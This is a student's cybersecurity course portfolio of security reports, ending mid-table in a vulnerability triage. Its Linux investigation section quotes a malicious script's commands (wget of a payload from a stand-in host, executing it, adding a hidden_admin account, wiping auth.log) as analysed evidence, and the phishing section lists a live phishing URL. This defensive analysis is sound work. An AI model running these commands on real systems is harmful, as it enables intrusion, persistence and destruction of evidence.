# Cybersecurity Foundations Portfolio

Varun Chowdary Challagundla

*A portfolio of ten artifacts demonstrating cybersecurity foundations across networks, Linux, attacks, defences, investigation and risk-based decision-making, produced over a ninety-day course.*

Completed: October 29, 2026

# Portfolio Overview

This portfolio is the record of a ninety-day Cybersecurity Foundations course and the nine pieces of working security analysis I produced along the way. It spans the fundamentals of the field — security concepts, networks, Linux, attacks and defences, frameworks such as the kill chain and MITRE ATT&CK, investigation, risk, and career paths — and each artifact shows those ideas applied rather than just studied. I audited my own accounts, triaged a real phishing email, modelled threats to my own digital life, read packet captures, designed a segmented network for a small business, analysed a malicious script without running it, reconstructed a Linux timeline from forensic artifacts, mapped a breach across the kill chain, and ranked vulnerabilities by real risk. Read in order, the work moves from securing one person's accounts to making prioritisation decisions for an organisation: a clear progression from following a method to exercising judgement. Throughout, the same habits recur: evidence before conclusions, honest confidence levels, and recommendations that someone could act on the same day.

# The Ten Artifacts


### 1. Personal Security Audit (Day 3) p. 4

A hands-on audit of my own email, five key accounts, laptop and home network that surfaced two high-severity findings (a historical data breach exposure and an unrecognised session left signed in for 153 days) and closed with the fixes already applied — demonstrating exposure assessment, severity rating, and the habit of remediating, not just reporting.

### 2. Phishing Email Analysis (Day 15) p. 6

A structured triage of a live phishing email impersonating MyChart, working from headers (SPF, DKIM, DMARC) through sender, content and link analysis to a high-confidence verdict backed by VirusTotal results — demonstrating email forensics and evidence-based classification.

### 3. Personal Threat Model (Day 20) p. 9

A full threat model of my own digital life (assets, adversaries, capabilities, mitigations) that identified my primary email as a single point of failure cascading into banking and brokerage accounts, then turned that into a prioritised week-and-month hardening plan — demonstrating threat modelling and likelihood-and-impact prioritisation.

### 4. Wireshark Traffic Investigation Report (Day 35) p. 12

An investigation of a 4,392-packet capture using protocol hierarchy, conversations and display filters, with traffic compared against baselines for port scans, suspicious DNS, beaconing and plaintext exposure — demonstrating a repeatable packet-analysis workflow and the discipline of documenting what the evidence does and doesn't show.

**5. Maya Network Defence Plan (Day 45)** p. 14

A client-ready defence plan for a small retail shop running payment tills, cameras and guest Wi-Fi on one flat network: inventoried devices, tiered risks from critical to low, designed a four-zone segmentation, phased the work into first-day, this-week and this-month actions, and defined how the owner can verify each fix — demonstrating defence in depth, least privilege, and communicating security to a non-technical client.

**6. Linux Investigation Report (Day 56)** p. 18

A static analysis of a suspicious shell script, examined safely without ever running it, that decoded a four-step attack chain (download a payload, execute it, create a hidden admin account, wipe the auth log) and delivered a high-confidence malicious verdict with containment steps — demonstrating safe malware triage and Linux command-line inspection.

**7. Linux Forensics Investigation (Day 65)** p. 20

A live-and-historical forensic sweep of an Ubuntu VM covering processes, listening ports, logs, accounts, scheduled tasks and recently modified files, tied together by a minute-by-minute timeline and a verdict with deliberately separated confidence levels — demonstrating forensic methodology, timeline reconstruction and honest scoping of what was and wasn't verified.

**8. Kill Chain Breach Analysis (Day 73)** p. 23

A structured analysis of a composite breach scenario built from common real-world patterns, mapped to all seven kill-chain stages and to MITRE ATT&CK; tactics, identifying where the chain could have been broken and arguing that patching was the single most effective defence — demonstrating attack analysis and the application of security frameworks to a concrete case.

**9. Vulnerability Triage Report (Day 80)** p. 26

A risk-based triage of seven scanner findings that re-ranked them by exposure, asset value, active exploitation and patchability, dropped a "critical" false positive, and prescribed compensating controls for an unpatchable internet-facing system — demonstrating the core analyst skill of separating severity from real risk.

**10. Cybersecurity Foundations Portfolio (Day 90, this piece)** p. 29

This portfolio itself: all nine artifacts gathered in chronological order and framed with an overview, summaries and a personal statement, so a reader can follow the progression from auditing my own accounts to making enterprise-level prioritisation decisions — demonstrating the ability to organise, communicate and present technical work as one coherent body of evidence.

# PERSONAL SECURITY AUDIT REPORT

**Auditor:** Varun Chowdary Challagundla

**Audit Date:** 3 August 2026

**Engagement:** Personal Digital Security Assessment

**Methodology:** Scope > Intelligence > Exposure > Severity > Remediation

*Personal identifiers (email addresses, account providers, device and network names, locations) have been redacted for publication.*

## SCOPE

Systems and accounts assessed:

- Primary email account
- Key accounts: Google, Instagram, WhatsApp, and two online banking accounts
- Primary device: personal laptop (macOS)
- Network: home Wi-Fi

## EXECUTIVE SUMMARY

The assessment identified two high-severity findings affecting the security of the primary email account. The primary risks were exposure of personal information through a historical data breach and the presence of an unrecognised active session, despite strong MFA coverage. During the audit, immediate remediation actions were completed to reduce the identified risks.

## FINDINGS

### HIGH

- The primary email address was identified in a historical retail data breach. Exposed information included the account holder's name, email address, date of birth, gender, geographic location, and purchase information.
- An unrecognised active session remained signed in to the primary email account for 153 days from an unfamiliar out-of-state location, along with multiple active TV logins that were not recognised.
- The primary email account was linked to Google Maps, Google Calendar, and Archives Plus. The connection to Archives Plus was unexpected and could not be recognised by the account owner, requiring further review.

### MEDIUM

No medium-severity findings identified.

### LOW

No low-severity findings identified.

### Additional Observation

Two-factor authentication (2FA) was enabled on all five key accounts, reducing the overall risk of account compromise despite the identified issues.

## ACTIONS TAKEN DURING AUDIT

- Signed out of all unauthorised and unrecognised active sessions.
- Enabled authenticator app-based 2FA on one additional account.
- Changed the password for the primary email account.

## REMEDIATION PLAN

### This week

- Review and verify all connected Google services, particularly the unexpected Archives Plus connection, and remove any services that are no longer required.
- Continue monitoring account activity for any new or suspicious sign-in attempts.

### This month

- Continue using unique, strong passwords for all accounts and review them periodically.
- Regularly check connected devices, active sessions, and third-party account access to ensure only authorised devices and services remain connected.

# PHISHING EMAIL ANALYSIS REPORT

**Analyst:** Varun Chowdary Challagundla

**Analysis Date:** 24 August 2026

**Engagement:** Suspected Phishing Email Triage

**Methodology:** Headers > Sender > Content > Links > Verdict

*Recipient details have been redacted for publication.*

## 1. EMAIL METADATA

**Subject:** [recipient username], Claim Your Free Medicare Kit

**From (display):** MyChart-rewards

**From (actual):** dfYoQoLV@huksguxua.us

**Reply-To:** Not provided

**Date received:** 5 August 2026

**Recipient:** [redacted]

## 2. EXECUTIVE SUMMARY

Email confirmed as phishing. The email impersonates MyChart and offers a free Medicare kit in exchange for completing a survey and signing in to MyChart. The sender address does not match the MyChart branding, DMARC failed, DKIM was absent, and the URL was flagged as phishing by 3 of 93 VirusTotal security vendors.

## 3. HEADER ANALYSIS

**SPF:** PASS. The sending IP 109.123.244.137 was authorised for the sending domain. The attacker controls that domain, so a pass does not indicate legitimacy.

**DKIM:** NONE. No signature was present.

**DMARC:** FAIL. Authentication/alignment failed.

**Originating IP:** 109.123.244.137

**IP Geolocation:** United States

**Reverse DNS:** vmi2556349.contaboserver.net

## 4. SENDER DOMAIN ANALYSIS

**Sender domain:** huksguxua.us

**Registered on:** Not provided

**Registrar:** Not provided

**Privacy enabled:** Not provided

**Domain age:** Not provided

**Lookalike of:** None. The domain is a random string unrelated to MyChart; the impersonation relies on the display name alone.

## 5. CONTENT INDICATORS

**Urgency:** Not identified

**Generic greeting:** "Dear Customer"

**Spelling/grammar errors:** Not identified

**Mismatched branding:** Display name claims MyChart-Rewards, while the sender uses huksguxua.us

**Authority impersonation:** Claims to be MyChart

**Threat:** Not identified

**Reward bait:** A free Medicare Kit

## 6. LINK ANALYSIS

**Visible link text:** Click here to verify your account

**Actual URL:**
https://storage.googleapis.com/usales26/usales26.html#?Z289MSZzMT0yMzQyNzk2JnMy
PTY1NTE2MzYxMyZzMz1HTEI=

**Hosting domain:** storage.googleapis.com, a legitimate Google Cloud Storage service (domain age: 13 years). Attackers abuse such services to host phishing pages, so the domain's age and reputation are not signs of trust.

**Destination domain:** unotosite.com

**URL shortener:** No

**HTTPS:** Yes

**Landing page:** Unbranded login page

## 7. VERDICT

**Classification:** PHISHING

**Confidence:** HIGH

**Severity:** HIGH

**Reasoning:** This email impersonates MyChart while using an unrelated sender address. It uses reward-based social engineering, offering a free Medicare Kit in exchange for completing a survey and signing in to MyChart. The investigated URL was also flagged as phishing by 3 of 93 VirusTotal security vendors.

## 8. RECOMMENDED ACTIONS

### If you received this email

[x] Do not click any links

[x] Report to your email provider (mark as phishing)

[x] Report to the relevant healthcare organisation

[x] Delete after reporting

### If you clicked the link

[ ] Change the password on the real MyChart account

[ ] Enable 2FA if not already on

[ ] Check the account for unauthorised sessions

[ ] Scan the device for malware

# PERSONAL THREAT MODEL

**Subject:** Varun Chowdary Challagundla

**Model Date:** 28 August 2026

**Engagement:** Personal Threat Modelling Exercise

**Methodology:** Assets > Adversaries > Capabilities > Mitigations

*Account providers and personal identifiers have been generalised for publication.*

## 1. WHO ARE YOU?

**Role/Occupation:** Student

**Public profile:** LinkedIn; Instagram profile (private)

**Location:** United States

**Notable factors:** Manages own investments through an online brokerage account.

## 2. WHAT ARE YOU PROTECTING?

### CROWN JEWELS (irreplaceable or maximum damage if lost)

- Primary email account: used for MFA/recovery across bank, brokerage, social media, and cloud document storage
- Bank account login: 2FA via SMS + Face ID
- Brokerage account: 2FA via email
- Cloud document account: holds scanned copies of important (likely ID-type) documents

### HIGH-VALUE (significant inconvenience or reputational damage)

- Social media account: linked to primary email
- Patient portal: full health records
- Phone: holds Face ID and receives SMS 2FA codes for the bank
- Laptop/computer: used to access all accounts above

### LOWER-VALUE (annoying to lose, replaceable)

- Streaming account
- Reddit account

## 3. WHO MIGHT WANT TO HARM YOU?

### OPPORTUNISTIC ATTACKERS (cast wide nets, take what's easy)

[x] Phishing campaigns targeting your email provider

[x] Smishing (SMS phishing) targeting your phone/bank

[x] Credential stuffing against reused passwords

### TARGETED CRIMINAL (specifically picked you for financial gain)

[ ] Business email compromise via your work role

[ ] Identity theft using your public information

[ ] Ransomware via spear-phishing

### PERSONAL ADVERSARY (someone with personal motivation)

[ ] Ex-partner with shared account history

[ ] Disgruntled former colleague

[ ] Stalker or harasser

### LARGER ACTORS (rare for most people; relevant if applicable)

[ ] Corporate espionage if you handle sensitive IP

[ ] State surveillance if you're a journalist/activist

## 4. WHAT CAN THEY DO?

Top realistic threats for your profile:

### THREAT 1: Phishing of primary email

**Likelihood:** HIGH

**Impact:** HIGH

**Vector:** Fake "unusual sign-in" or account-suspension email, spoofed sender, captures login credentials on a fake page. This cascades into the bank, brokerage, cloud document and social media accounts via email-based recovery.

### THREAT 2: Smishing / SIM swap targeting bank SMS 2FA

**Likelihood:** HIGH

**Impact:** HIGH

**Vector:** Fake "suspicious charge" text with a link to a fake bank login, or a SIM swap against the mobile carrier that intercepts SMS 2FA codes. (Face ID protects the device, not a web session on another device.)

### THREAT 3: Cascading takeover of the brokerage account via email

**Likelihood:** MEDIUM

**Impact:** HIGH

**Vector:** Once the primary email is compromised (Threat 1), an attacker triggers a brokerage password reset. The 2FA code lands in the same compromised inbox.

## 5. WHAT WILL YOU DO ABOUT IT?

### ALREADY IN PLACE

[x] 2FA (SMS + Face ID) on bank account

[x] 2FA (email-based) on brokerage account

### TO DO THIS WEEK

- [x] Confirm what MFA is currently on the primary email; upgrade to an authenticator app or hardware key
- [x] Confirm whether the cloud document account has MFA enabled

### TO DO THIS MONTH

- [x] Add a non-email second factor (authenticator app or hardware key) to the brokerage account
- [x] Move bank 2FA from SMS to an authenticator app
- [x] Set a port-out PIN with the mobile carrier to reduce SIM-swap risk

### ACCEPTING THE RISK ON

None identified from the information given.

## 6. WHAT YOU ARE NOT TRYING TO DEFEND AGAINST

Not defending against nation-state surveillance, sustained physical surveillance, insider threats, or targeted attacks from a known personal adversary. None of these were identified as applicable based on the information given. This scope should be revisited if that changes (for example, a specific conflict arises, or public visibility increases).

# TRAFFIC INVESTIGATION REPORT

**Analyst:** Varun Chowdary Challagundla

**Analysis Date:** 28 September 2026

**Engagement:** Network Traffic Capture Investigation

**Methodology:** Orient > Question > Filter > Follow > Compare > Document

## 1. CAPTURE SUMMARY

**Source:** My own capture of varied browsing

**Total packets:** 4392

**Time span:** 4 minutes 37 seconds

**Headline:** Capture shows ordinary web browsing with no anomalies

## 2. ORIENTATION

**Top protocols (Protocol Hierarchy):** 61.6% UDP (mDNS 0.2%, DNS 0.5%, QUIC IETF 53.5%); 34.1% TCP; 0% ARP

**Busiest conversation (Conversations, sorted by bytes):** 54.69.185.163 <-> 10.0.0.220, 225 bytes exchanged

**Notable endpoints (Endpoints):** Nothing notable

## 3. INVESTIGATION

**Question chased:** What is the conversation between the two heaviest users?

**Filters used:** ip.addr == 54.69.185.163; tcp.flags.syn == 1 && tcp.flags.ack == 0; dns; http

### What I found following the thread

The IP address was traced to Amazon Web Services (AWS) infrastructure. The heavy exchange of data is consistent with streaming and content sync when a video was played on Prime Video.

## 4. COMPARISON TO BASELINE

Assessed against a normal-traffic baseline and known attack patterns (port scan / suspicious DNS / beacon / plaintext):

- [x] Normal traffic: DNS precedes connections, clean handshakes and teardowns, recognisable destinations
- [ ] Port scan signature observed
- [ ] Suspicious DNS observed
- [ ] Beacon pattern observed
- [ ] Plaintext exposure observed
- [ ] Other / unexplained

### Evidence for the box checked

A filter for TCP RST packets returned none, and the rest of the traffic showed no signature patterns of a malicious attack.

## 5. VERDICT AND CONFIDENCE

**Verdict:** Normal traffic

**Confidence:** HIGH

**Reasoning:** No evidence of malicious activity was found. Traffic was predominantly encrypted (QUIC and HTTPS), DNS lookups preceded connections, and handshakes and teardowns were clean. A port scan would typically show many SYN probes to different ports from one host, often answered by RST packets; no RST packets were seen and no such pattern appeared. Confidence is high rather than certain because this was a short capture from a single device, and encrypted payloads cannot be inspected.

## 6. RECOMMENDED NEXT STEPS

If this were a real engagement:

[ ] Load more web pages to capture more traffic.

[x] No further action: traffic is benign.

# NETWORK DEFENCE PLAN

**Prepared by:** Varun Chowdary Challagundla

**Date:** 7 October 2026

**Client:** Maya's Clothing Shop (small retail business)

**Engagement:** Network Security Assessment and Remediation Plan

## 1. ASSESSMENT SUMMARY

Maya's shop runs on a single flat network where the payment tills, customer Wi-Fi, never-updated cameras, customer data and personal devices all share one space with no barriers between them. A compromised device, whether a camera, a guest's phone or an attacker who cracks the three-year-old chalkboard Wi-Fi password, could reach the tills and customer records, and with no logs or monitoring nobody would know. The most urgent priorities are to take back control of the router from its default admin credentials and to segment the payment systems away from customer Wi-Fi. Both fixes use router features she likely already has, so a small number of low-cost, prioritised changes can make this network sustainable and more defensible.

## 2. NETWORK INVENTORY

| Device / system | Category | Holds / does |
|---|---|---|
| Payment till x2 | Payment | Card transactions, regulated (PCI DSS) |
| Security cameras x4 | IoT | Never updated; vulnerable devices |
| Back-office laptop | Data | Customer records |
| Maya's laptop | Personal | Dual use: business and personal |
| Staff phones x2 | Staff | Connected to the shop's Wi-Fi |
| Smart speaker | IoT | Unmanaged extra device |
| Network printer | Infrastructure | Shared by everyone on the network |
| Customer Wi-Fi | Guest | Shares the same network as the tills |
| ISP router | Infrastructure | Default admin credentials, WPA2 |

## 3. PRIORITISED RISKS

### CRITICAL

- **Flat network:** Any compromised device can reach the payment tills and customer data. Attackers can move laterally to the valuable target just by getting into the network.
- **Customer Wi-Fi shares the network with the payment tills:** Real money and legal obligations are exposed to anyone who walks in.
- **Default router admin credentials:** Trivial takeover. Whoever controls the router controls every other defence, including any firewall or segmentation settings.

### HIGH

- **Weak, shared, public Wi-Fi password:** Unchanged for three years and written on a chalkboard. Everyone who has ever seen it still has access.
- **No monitoring and no logs:** An attack would go unnoticed and could not be investigated afterwards.
- **Uncertain firewall status:** Nobody knows whether a firewall is running or what rules it follows, so there may be no default-deny barrier at all.

### MEDIUM

- **Four never-updated IoT cameras:** Known-vulnerable and unsegmented. This is the exact condition the Mirai botnet exploited.
- **Back-office laptop holds customer data with no access control:** No least privilege, so anyone or anything on the network may be able to reach it.
- **Maya's dual-use laptop on the business network:** Home browsing, personal accounts and business access mix on one device, so a compromise of either side exposes the other.

### LOW

- **Unmanaged smart speaker:** A low-value device, but still an unmanaged extra on a flat network.
- **Shared printer on the main network:** Reachable by every device, including guests.

## 4. RECOMMENDED FIXES

### Flat network, and customer Wi-Fi sharing with the tills

SEGMENT the network into separate zones, each given only the connectivity it needs (least privilege applied to networks):

- **Payment:** the two tills only, isolated from customer Wi-Fi and from the cameras.
- **Customer / guest Wi-Fi:** internet access only, walled off from everything else (use the router's guest network feature).
- **IoT:** the four cameras, the smart speaker and the printer, on their own segment.
- **Staff and office:** the back-office laptop and staff phones.

### Default router credentials

- CHANGE the router admin password from the default to a strong, unique one that is stored in a password manager, not written down in the shop.
- Update the router firmware.
- Confirm that remote administration from the internet is turned off.

### Weak, public Wi-Fi password

- Set Wi-Fi to WPA3, or WPA2 as the minimum (never WEP or open), with a long, unique password.
- Keep the staff/office Wi-Fi password private, and give customers only the separate guest network and its own password. Rotate the guest password periodically.
- Remove the chalkboard password.

### Uncertain firewall

- Check that the router's built-in firewall is enabled and follows default deny: inbound traffic is blocked unless explicitly allowed.
- Turn on the host-based firewall (Windows Defender Firewall or the macOS equivalent) on both laptops, especially Maya's, which leaves the shop.
- Check that IPv6 is either secured by the router firewall or switched off if unused, so it doesn't become an open door beside protected IPv4.

### No monitoring and no logs

- Enable basic logging on the router (connections, admin logins, Wi-Fi events) and make sure the router's clock is time-synced so entries line up.
- Where the router supports it, keep NAT and connection logs and send them to an external location (cloud log service or a separate device) so an attacker cannot simply delete them.

### Never-updated IoT cameras

- Move the cameras to the isolated IoT segment so they can't reach the tills or customer data.
- Change their default credentials, install any available firmware updates, and replace models that can no longer be updated.

### Customer data on the back-office laptop

- Restrict access to the people who genuinely need it (least privilege), with a separate login per person and no shared accounts.
- Turn on MFA for accounts that touch customer data, and keep the laptop and its software updated.
- Keep the laptop on the staff/office segment, away from guests and IoT devices.

### Smart speaker and printer

- Keep them on the IoT segment, or remove the speaker from the business network if it isn't needed.

### Beyond the network (low-cost habits)

- Protect the domain registrar account with a strong unique password and MFA. Registrar takeover bypasses every technical defence and lets an attacker redirect the website and email.
- Use hosting and a DNS provider with built-in DDoS protection (for example Shopify, Cloudflare, AWS Route 53 or Google Cloud DNS).
- Brief staff on phishing, since a perfectly working firewall does not stop social engineering.

## 5. PHASED ACTION PLAN

### DO FIRST (critical, highest leverage)

- Change the default router admin credentials and update the firmware.
- Confirm the router firewall is on and set to default deny.
- Segment the payment tills and customer Wi-Fi apart (guest network for customers).

### THIS WEEK

- New strong, unique Wi-Fi password for staff/office (WPA3 if supported, WPA2 minimum).
- Put the four IoT cameras on their own isolated segment and change their default credentials.

- Move the printer and smart speaker onto the IoT segment.
- Turn on host firewalls on both laptops.

### THIS MONTH

- Set up logging, with time sync and off-device log storage; consider managed monitoring.
- Tidy access control on the back-office laptop and customer data (least privilege, separate accounts, MFA).
- Separate Maya's personal and business use.
- Secure the domain registrar account with MFA and confirm DDoS-protected hosting/DNS.

## 6. HOW MAYA WILL KNOW IT WORKED

1. **Segmentation test:** A customer device connected to the guest Wi-Fi cannot reach the till network, the cameras, the printer or the back-office laptop.
2. **Credential and Wi-Fi check:** The router admin login no longer accepts the default password, remote admin is off, the Wi-Fi shows WPA3 (or WPA2 at minimum) and the old chalkboard password no longer works.
3. **Visibility check:** Logging is active, the log is being stored off the router, and Maya (or her provider) reviews it on a set schedule.

# LINUX INVESTIGATION REPORT: SUSPICIOUS FILE ANALYSIS

**Analyst:** Varun Chowdary Challagundla

**Analysis Date:** 15 October 2026

**File examined:** suspicious.sh

**Method:** Static examination only (file never executed)

## 1. SUMMARY

The file is a bash script that, if run, would download a file from a remote web address, execute it, create a user account named hidden_admin, and wipe the system authentication log.

**Verdict:** MALICIOUS, high confidence

## 2. FILE IDENTIFICATION

**Reported type (file command):** Bourne-Again shell script, ASCII text executable

**Name vs actual type:** They match. The .sh extension and the #!/bin/bash first line both indicate a bash script, so the name is not misleading.

## 3. FILE PROPERTIES (ls -l)

**Permissions:** -rw-rw-r--

**Executable?:** No. No 'x' bit is set for owner, group, or others, so it cannot run directly with ./suspicious.sh. The file is currently inert, but anyone could make it runnable with a single chmod +x command.

**Owner:** analyst (group: analyst)

**Size:** 146 bytes

**Modified:** Oct 15 17:28

## 4. CONTENTS AND RED FLAGS

Examined by reading (cat / less), never by running. Red flags found:

- **Downloads a file from a remote web address** (wget http://example-bad-site.test/payload.sh): a fetch-a-payload pattern. The link uses plain HTTP, so the download is unencrypted and unverified. The domain name itself looks suspicious.
- **Runs the downloaded file** (bash payload.sh): untrusted code is executed.
- **Creates a user account** (useradd hidden_admin): attacker persistence. The name suggests an attempt to hide a backdoor.
- **Clears the authentication log** (echo "" > /var/log/auth.log): covering tracks by erasing login records.

- **Disguised purpose:** the comment "# system update helper" makes the script look like routine maintenance, which is a common social engineering tactic.

## 5. VERDICT AND CONFIDENCE

**Verdict:** MALICIOUS

**Confidence:** HIGH

### Evidence-based reasoning

The script is malicious because it contains four behaviours which together form a classic attack chain: it downloads a remote payload (wget), executes it (bash payload.sh), creates a new user for persistent access (useradd hidden_admin), and erases the authentication log to destroy evidence (echo "" > /var/log/auth.log). Legitimate update scripts do not create hidden accounts or wipe security logs. The mislabelled "system update helper" comment further suggests intent to deceive. Confidence is high because every line is a known attacker technique and none has a plausible benign purpose.

## 6. RECOMMENDATION

- Do NOT execute the file under any circumstances.
- Preserve it as evidence (keep the file, leave the execute permission off) for further analysis.
- Escalate to incident response / report it, noting where and when it was found.
- Check the system for signs it was already run: look for a hidden_admin entry in /etc/passwd, a downloaded payload.sh file, and an emptied or suspiciously short /var/log/auth.log.
- Block the domain example-bad-site.test at the network level and review logs for any connections to it.

# LINUX FORENSICS INVESTIGATION

**Investigator:** Varun Chowdary Challagundla

**Date:** 22 October 2026

**System examined:** Ubuntu practice VM (hostname: analyst-vm)

**Scenario:** Suspected compromise (staged practice scenario)

**Method:** Live + historical examination; suspicious files examined without execution

## 1. SUMMARY

Three planted artifacts were found and examined: a file in /tmp (update.sh), a note representing a persistence finding (evidence_note.txt), and a recently modified marker (recent_marker.txt). All three were created within a two-minute window (12:16 to 12:18) by the same user, from the same terminal session. No unexpected processes, listening ports, accounts, failed logins, or scheduled tasks were found. Because the artifacts were staged by the investigator, there was no real intrusion. Confidence is high that the artifacts are planted ones, and medium that the rest of the system is clean (limited scope).

## 2. INVESTIGATOR'S CHECKLIST FINDINGS

### PROCESSES (what's running that shouldn't be)

- Reviewed ps aux. Nothing suspicious.
- Processes running as root are expected system services.
- CPU usage was normal for a desktop session.
- No process was running from /tmp.

### NETWORK CONNECTIONS (what it's talking to)

- Reviewed ss -tuln. TCP listeners are only on loopback.
- 127.0.0.53:53 and 127.0.0.54:53 (local DNS resolvers).
- 127.0.0.1:631 (CUPS printing, local only).
- No service is listening on an external interface over TCP.
- No SSH server is listening.

### LOGS (the history / timeline)

- Reviewed the last 10 lines of /var/log/auth.log.
- All activity is the legitimate user.
- No failed logins, no unknown user, no account creation.

### ACCOUNTS (who exists / who can sudo)

- /etc/passwd contains one normal login user plus root.
- Standard system accounts were found.
- Only root has UID 0. The sudo group contains only the analyst's own account.

### SCHEDULED TASKS (persistence)

- User crontab (crontab -l): no crontab for the analyst's account.
- System (/etc/cron.d): only "anacron" and "e2scrub_all", which are standard Ubuntu maintenance entries.

### FILES (suspicious files)

**/tmp/update.sh**

- Type (file): ASCII text, not an executable or script binary.
- Properties (ls -l): -rw-rw-r--, owner analyst, 37 bytes, modified Oct 21 12:16. No execute permission.
- Content (cat): fake malicious placeholder, harmless.

**Recently modified (find -mtime -1)**

- /tmp: update.sh; the rest are root-owned system entries.
- Home: evidence_note.txt and recent_marker.txt, alongside normal desktop cache and config churn.

## 3. TIMELINE OF EVENTS

| Time | Event |
|---|---|
| 12:11:53 | sudo apt update run by the user |
| 12:13:12 | pkexec update-notifier package lock check |
| 12:15 | Terminal opened (ptyxis / bash on pts/0) |
| 12:16:15 | /tmp/update.sh created (planted dropped file) |
| 12:17:01 | Routine hourly root cron session |
| 12:17:45 | ~/evidence_note.txt created |
| 12:18:08 | ~/recent_marker.txt created |
| 12:18 | ps aux run (live sweep begins) |
| 12:21:44 | sudo tail /var/log/auth.log (log review) |

The three artifacts were created in a two-minute burst by the same user in the same terminal, which is what a hands-on session looks like. The timestamp is the thread tying them together.

## 4. VERDICT AND CONFIDENCE

**Verdict:** NOT COMPROMISED (staged artifacts identified)

**Confidence:** HIGH that the artifacts are planted ones; MEDIUM that the rest of the system is clean

### Evidence-based reasoning

- The /tmp file is non-executable text, owned by my own account, created at 12:16 during my own terminal session.
- The process list, listening ports, accounts, and user and system cron entries show nothing unexpected.
- auth.log shows only my own sudo and routine system activity, with no failed-login pattern.

## 5. HOW THE ATTACKER GOT IN AND STAYED

**Entry:** None (no real attacker). In a real case I would expect to see repeated failed logins followed by a success, or an exploited service, in the logs.

**Actions:** Planted a file in /tmp (a stand-in for a dropped payload) and created marker files.

**Persistence:** None found. A real actor would typically use a cron job, a new account, or SSH keys added to ~/.ssh/authorized_keys.

## 6. RECOMMENDATIONS

- Remove the dropped files and any persistence found.
- Remove rogue accounts and reset compromised credentials.
- Find and remove all persistence: check crontab, system services and authorized_keys.
- Apply hardening to prevent recurrence: keep updates current, apply least privilege, use SSH keys, and monitor auth logs.
- Preserve evidence and escalate per incident process before cleaning up.

## 7. SCOPE AND LIMITATIONS

This was a staged practice scenario on a clean VM. It demonstrated the investigation workflow and how the planted artifacts surface in find, ls, and file output. A real investigation would add: full log review, mapping every listening port to its process, memory and disk imaging, checks of other persistence points, file-hash lookups, and review of other machines on the network.

# KILL CHAIN BREACH ANALYSIS

**Analyst:** Varun Chowdary Challagundla

**Date:** 27 October 2026

**Subject:** Customer data breach at a mid-sized company (phishing email through to database theft)

**Source:** A composite based on common real-world breach patterns

## 1. BREACH SUMMARY

A mid-sized company was breached by an attacker whose goal was to steal the customer database. The attacker researched the company, phished finance staff with a fake supplier invoice, exploited outdated software to gain a foothold, and then spent weeks moving through the network to reach the database server. The attack succeeded: the entire customer database was copied out, and the breach was only discovered when the stolen data appeared for sale.

## 2. KILL CHAIN MAPPING

- **RECONNAISSANCE:** The attacker studied the company website, found employees on professional networks, worked out the email address format, and identified the names of finance department staff.
- **WEAPONIZATION:** The attacker built a malicious attachment disguised as an invoice, containing code that exploits a vulnerability in outdated software.
- **DELIVERY:** The attacker sent a phishing email impersonating a known supplier to several finance employees, with the fake invoice attached.
- **EXPLOITATION:** One employee opened the attachment. It exploited a vulnerability in outdated software on their computer, which ran the attacker's code and gave the attacker an initial foothold on that machine.
- **INSTALLATION:** The attacker installed a backdoor and created a hidden scheduled task so that access would survive a restart of the computer.
- **COMMAND AND CONTROL:** The compromised machine quietly connected out to a server controlled by the attacker. This let the attacker send commands and operate inside the network remotely.
- **ACTIONS ON OBJECTIVES:** Over several weeks the attacker explored the network from the foothold, stole credentials, and moved to other systems until reaching the server holding the customer database. They then copied the entire database out of the network to their own server. The goal was achieved. The breach was discovered later, when the data appeared for sale.

## 3. TECHNIQUES USED (ATT&CK THINKING)

| Stage | Technique | Tactic |
|---|---|---|
| Reconnaissance | Gathering victim identity and employee information from public sources (website, professional networks) | Reconnaissance |

| Stage | Technique | Tactic |
|---|---|---|
| Delivery | Phishing email with a malicious attachment, impersonating a trusted supplier | Initial Access |
| Exploitation | Exploiting a vulnerability in unpatched software | Execution |
| Installation | Backdoor plus a hidden scheduled task | Persistence |
| Command and Control | Outbound beaconing to an attacker-controlled server | Command and Control |
| Actions on Objectives | Credential theft; moving to other systems; copying the database out to the attacker's server | Credential Access; Lateral Movement; Exfiltration |

## 4. WHERE THE CHAIN COULD HAVE BROKEN

- **Reconnaissance:** Limit public exposure of staff details and raise staff awareness about oversharing. This makes the phishing less targeted and convincing, but it is a weak break point because public information is hard to hide.
- **Delivery:** Email filtering (attachment scanning, supplier impersonation checks) plus phishing-awareness training. The email never arrives, or the employee recognises it as fake and does not open it.
- **Exploitation:** Patching the outdated software. The attachment may open, but the exploit has nothing to exploit, so no code runs and no foothold is gained.
- **Installation:** Monitoring for new or unusual scheduled tasks and unknown programs. The backdoor and persistence are detected and removed before the attacker settles in.
- **Command and Control:** Beaconing detection and outbound traffic filtering. The compromised machine cannot reach the attacker's server, so the attacker loses remote control.
- **Actions on Objectives:** Alerts on unusual database access and large outbound data transfers (data loss prevention), plus network segmentation and tight access controls. The credential theft, lateral movement, or exfiltration is caught or blocked.

### MOST EFFECTIVE DEFENCE: patching the outdated software (Exploitation stage)

It removes the root cause. Without the vulnerability, the malicious attachment fails even if the phishing email is delivered and opened, which matters because phishing defences can never be perfect and someone will eventually click. It also stops the attack at the earliest technical point, before the attacker has any foothold, so nothing needs to be detected or cleaned up later.

## 5. LESSONS THAT GENERALISE

1. **Patch promptly:** Known, unpatched vulnerabilities are among the most common ways into an organisation. In this breach, one unpatched flaw made the whole attack possible.
2. **Do not rely on a single layer:** Email filtering and training reduce phishing risk but never eliminate it, so later layers must be ready to catch what slips through.
3. **Watch for what happens after the break-in:** Persistence (such as hidden scheduled tasks) and outbound connections (beaconing) are detectable, but only if someone is monitoring them.

4. **Limit how far an intruder can go:** The attacker moved through the network for weeks and reached the database server. Segmentation and tight access controls make lateral movement harder.

## 6. KEY TAKEAWAY

The attacker had to succeed at every one of seven stages, while the defender only had to win once. This organisation missed at least five chances (patching, email filtering, persistence monitoring, outbound traffic monitoring, and data-transfer alerts) and learned of the breach from the black market instead of from its own systems.

# VULNERABILITY TRIAGE REPORT

**Analyst:** Varun Chowdary Challagundla

**Date:** 28 October 2026

**Scope:** Triage of 7 scan findings for an organisation's environment

**Method:** Risk-based prioritisation (severity weighed by exposure, value, active exploitation, patchability)

## 1. SUMMARY

Seven scan findings were prioritised by real risk rather than raw severity. The top priority is Finding 1, the actively exploited, internet-facing web framework vulnerability on the public company website, because it is being attacked right now and a patch is already available. The unpatchable, internet-facing legacy system (Finding 6) is second and is handled with compensating controls, and the critical finding in software the organisation does not run (Finding 3) is dropped as having no real risk.

## 2. FINDINGS AND REAL-RISK ASSESSMENT

| # | Severity | Real risk | Key factors |
|---|---|---|---|
